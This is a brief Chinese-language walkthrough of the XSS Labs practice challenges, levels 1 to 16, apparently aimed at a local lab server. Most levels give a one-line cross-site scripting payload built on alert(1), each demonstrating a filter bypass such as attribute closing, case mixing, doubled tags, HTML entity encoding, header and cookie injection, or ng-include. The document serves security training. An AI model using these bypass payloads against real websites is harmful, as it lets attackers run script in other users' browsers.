一篇关于 XSS 的文章
XSS 思路
XSS Labs 1-16 关指南
1. 不需要任何绕过
http://192.168.30.124/xss-labs-master/level1.php?name=<script>alert(1)</script>
2. 闭合 HTML 属性
test"><script>alert(1)</script>
3. 单引号闭合
关键字使用了单引号包裹,所以使用单引号闭合
' onclick=alert(1) '
4. 双引号闭合
" onclick=alert(1) "
5. javascript 绕过
过滤了<script、on*,使用 javascript 绕过
"><a href=javascript:alert(1)>aaa</a>
6. 大小写绕过
"><sCrIpt>alert(1)</scRipt>
7. 双写script标签绕过
"><scscriptript>alert(1)</scscriptript>
8. HTML实体编码绕过
将javascript转换为HTML实体编码绕过
javascript:alert(1)
9. 注释绕过
在第八关的基础上添加了http://的检测,将http://注释可绕过
javascript:alert(1)/*http://*/
10. 隐藏的输入框
将隐藏的输入框属性type="hidden"去掉,插入payload
" onclick=alert(1) "
11. referer 头触发 XSS
"type=text onclick=alert(1) //
12. UA头触发 XSS
查看网页源码,发现t_ua参数可控,伪造UA可触发XSS
"type=text onclick=alert(1) //
13. Cookie 触发 XSS
Xray 扫描发现 cookie 存在 XSS,伪造 cookie 触发 XSS
14. 打不开
15. ng-include 包含
ng-include 相当于 php 的 include 函数,所以我们包含一个有 XSS 漏洞的 URL 就可触发这里的 XSS
http://192.168.30.124/xss-labs-master/level15.php?src=%27level1.php?name=%3Cimg%20src=x%20onerror=alert(1)%3E%27
16. 空格绕过
使用 %0a 可绕过空格
<a%0Aonclick=(alert)()>click